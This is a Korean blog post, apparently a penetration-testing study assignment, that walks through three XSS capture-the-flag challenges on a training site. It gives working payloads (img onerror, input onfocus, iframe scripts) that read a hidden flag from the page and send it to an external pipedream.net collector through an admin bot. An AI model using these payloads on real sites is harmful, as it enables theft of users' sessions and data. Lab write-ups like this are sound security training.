XSS
개념:
공격자가 삽입한 임의의 스크립트가 피해자의 브라우저에서 실행되게 하는 해킹 기법
종류:
Stored XSS, Reflected XSS, DOM Based XSS
공격 시나리오:
세션 탈취, 페이지 이동, HTML Overwrite, 키로거, 데이터 추출 등
대응:
특수문자 HTML Entity 치환, 태그 화이트리스트 필터링, 이벤트핸들러 블랙리스트 필터링
목차
1) CTF 1
- XSS 포인트 찾기
- DOM 객체 확인
- 스크립트 작성 및 관리자 봇에게 링크 공유
2) CTF 2
- 제시된 사이트 탐색
- XSS 포인트 찾기
- DOM 객체 확인
- 스크립트 작성 및 관리자 봇에게 링크 공유
3) CTF 3
- XSS 포인트 찾기
- DOM 객체 확인
- 스크립트 작성 및 관리자 봇에게 링크 공유
XSS 공격 데이터 추출
♪ CTF 1
Mypage에서 XSS가 일어난다!
1) XSS 포인트 찾기
- 사이트에 로그인
- 마이페이지 접속
- 파라미터에 특수문자 삽입 후 재요청
문제 사이트 접속 |
로그인 |
마이페이지 접속 |
사용자 아이디 파라미터에 특수문자 입력 후 필터링되는지 확인 확인 결과 html 특수문자 및 스크립트 태그가 필터링되고 있지 않음. XSS 공격 가능 |
2) DOM 객체 확인
탈취할 데이터가 표시될 위치 |
해당 위치의 HTML 태그 |
해당 DOM 객체에 자바스크립트로 접근 |
3) 스크립트 작성 및 관리자 봇에게 링크 공유
user=gaga">
<img src=x
onerror="var flag=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?falg=${flag}`;
데이터 저장하여 공격자 서버로 전송하는 스크립트 작성. 버프 스위트의 리피터로 삽입한 스크립트 확인. |
스크립트를 포함한 url을 관리자 봇에게 공유 |
서버에 기록된 요청을 확인. flag 획득. |
기존 input 태그를 활용해도 된다.
gaga"
autofocus
onfocus="var flag=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
♪ CTF 2
XSS를 이용해 중요 정보를 탈취해라!
1) 탐색
- 중요 정보가 있는 페이지와 똑같은 페이지
- 실제 중요 정보가 있는 페이지 (관리자만 접속할 수 있음)
- XSS 취약점이 있는 사이트
- 관리자 방문 봇
- 중요 정보가 있는 페이지와 똑같은 페이지
- XSS 취약점이 있는 사이트
취약점이 있는 사이트와 중요 정보가 있는 사이트가 다르게 생김. 다른 페이지에 있는 데이터를 탈취하는 방법이 필요할 듯. |
▷ XSS 취약점이 있는 사이트:
iframe 태그 + 데이터 탈취 스크립트
▷ mypage.html:
중요 정보가 있는 DOM 객체 확인
▷ 관리자 봇한테 보내기 전:
악성 스크립트가 있는 페이지에 테스트해본 뒤 정상 작동하면 iframe 태그에 src를 secret.php로 지정한 뒤 XSS 취약점이 있는 페이지 링크 공유
2) XSS 포인트 찾기
▷ XSS 취약점이 있는 사이트
목표:
alert(1) 띄우기
게시물 읽기 페이지)
> 특수문자 테스트
게시물 읽기 제목은 HTML Entity로 치환. 내용은 꺽쇠, 스크립트 태그 치환 안 하는 중. XSS 공격 포인트 발견. |
> POC 테스트
게시물 내용 수정 |
스크립트 작동 중인 것을 확인. |
3) DOM 객체 확인
▷ mypage.html
목표:
중요 정보가 있는 페이지와 똑같이 생긴 페이지에서 중요 정보가 표시될 DOM 객체에 접근
<p class="card-text">This is a Very Secret Info.</p>
중요 정보가 표시될 객체를 확인함 |
> 자바스크립트로 접근하기
<script>
document.getElementsByClassName('card-text')[1].innerHTML;
</script>
중요 정보가 표시될 객체에 접근하는 방법 발견 |
4) 스크립트 작성 및 관리자 봇에게 링크 공유
▷ XSS 취약점이 있는 사이트
목표:
iframe으로 중요 정보가 포함된 페이지를 출력
해당 페이지에 접근해 중요 정보 탈취
> 스크립트 작성
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<!--테스트 사이트-->
<script>
var t = document.getElementById('target');
var info = t.contentDocument;
var flag = info.getElementsByClassName('card-text')[1].innerHTML;
var i = new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
</script>
- iframe으로 정보가 표시될 사이트 불러옴
- iframe 객체를 id로 접근해 변수에 저장
- iframe 객체의 DOM트리 정보 저장
- DOM 트리 정보 중 탈취할 정보가 표시될 객체에 접근해 변수에 저장
- 이미지 태그 생성
- 중요 정보를 포함한 요청을 공격자 서버로 전송
이렇게 하면 작동이 안됨.
아마 스크립트가 실행되기 전에 iframe의 소스를 로드하지 못해서 그런 듯.
이 현상을 방지하려면 이벤트 리스너를 추가해줘야한다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<!--테스트 사이트-->
<script> //이벤트리스너 추가
document.addEventListener('DOMContentLoaded', function(){
var t = document.getElementById('target');
var info = t.contentDocument;
var flag = info.getElementsByClassName('card-text')[1].innerHTML;
var i = new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
});
</script>
이벤트 리스너로 DOM 요소가 모두 로드된 뒤 스크립트를 실행하도록 했더니 원하는 정보가 들어온 것을 확인 |
> 관리자 봇에게 공유
mypage.html을 중요 정보가 들어있는 secret.php 페이지로 변경하여 해당 게시물의 링크를 관리자 봇에게 공유
플래그 획득 |
이벤트 핸들러를 활용하는 방법도 가능함.
<iframe
src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php"
id="target"
onload="var t=document.getElementById('target');
var info=t.contentDocument;
var flag=info.getElementsByClassName('card-text')[1].innerHTML;
var i=new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`">
</iframe>
♪ CTF 3
admin 계정의 마이페이지의 정보란에 flag가 숨겨져있다!
1) XSS 포인트 찾기
> 마이페이지
▷ mypage.php
마이페이지에서는 XSS 공격 불가 |
> 게시글 읽기 페이지
▷ notice_read.php
특수문자 테스트를 위해 게시글 작성 |
게시글 열람 결과 제목에선 특수문자 치환 중 내용에선 특수문자 그대로 사용 |
> POC 테스트
게시글 수정 |
열람 결과 스크립트 작동 중임을 확인 XSS 공격 포인트 발견 |
2) DOM 객체 확인
▷ mypage.php
<input name="info" type="text" id="userInfo" placeholder="Nothing Here...">
admin계정의 중요 정보가 포함될 위치 확인 |
<script>
document.getElementsByName('info')[0].placeholder;
</script>
중요 정보가 표시될 객체에 접근하는 방법 발견 |
3) 스크립트 작성 및 관리자 봇에게 링크 공유
▷ notice_read.php
목표:
iframe으로 중요 정보가 포함된 페이지를 출력
해당 페이지에 접근해 중요 정보 탈취
> 스크립트 작성
<iframe
src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php"
id="target"
onload="var t=document.getElementById('target');
var info=t.contentDocument;
var flag=info.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`">
</iframe>
- iframe으로 정보가 표시될 사이트 불러옴
- iframe 객체를 id로 접근해 변수에 저장
- iframe 객체의 DOM트리 정보 저장
- DOM 트리 정보 중 탈취할 정보가 표시될 객체에 접근해 변수에 저장
- 이미지 태그 생성
- 중요 정보를 포함한 요청을 공격자 서버로 전송
내가 들어가면 나의 마이페이지가 iframe 객체로 출력되므로 nothing here라는 정보가 나오게 됨. 공격자 서버에 도착한 요청에 원하는 정보가 포함되었음을 확인. |
> 관리자 봇에게 링크 공유
플래그 획득 |
2번 문제에서 했던 것처럼 이벤트 리스너를 적용하는 방법도 가능함.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="target"></iframe>
<script>
document.addEventListener('DOMContentLoaded', function(){
var t=document.getElementById('target');
var info=t.contentDocument;
var flag=info.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
});
</script>
정리
1) Basic Script Prac
마이페이지 / img, input 태그 활용
2) Steal Info
게시글 읽기 페이지 - 본문 / iframe / DOMContentLoaded 이벤트 리스너 활용, onload 이벤트 핸들러 활용
3) Steal Info2
게시글 읽기 페이지 - 본문 / iframe / onload 이벤트 핸들러 활용, DOMContentLoaded 이벤트 리스너 활용
'모의해킹 스터디 과제' 카테고리의 다른 글
모의해킹 스터디 7주차 과제(2): CTF - Blind SQLi (2) | 2024.12.08 |
---|---|
모의해킹 스터디 7주차 과제(1): CTF - Error-Based SQLi (0) | 2024.12.03 |
모의해킹 스터디 6주차 과제: CTF - UNION SQL Injection (2) | 2024.11.29 |
모의해킹 스터디 5주차 과제: CTF - 로그인, 인증 우회 (0) | 2024.11.19 |
모의해킹 스터디 4주차 과제(1): 자바 스크립트 (1) | 2024.11.11 |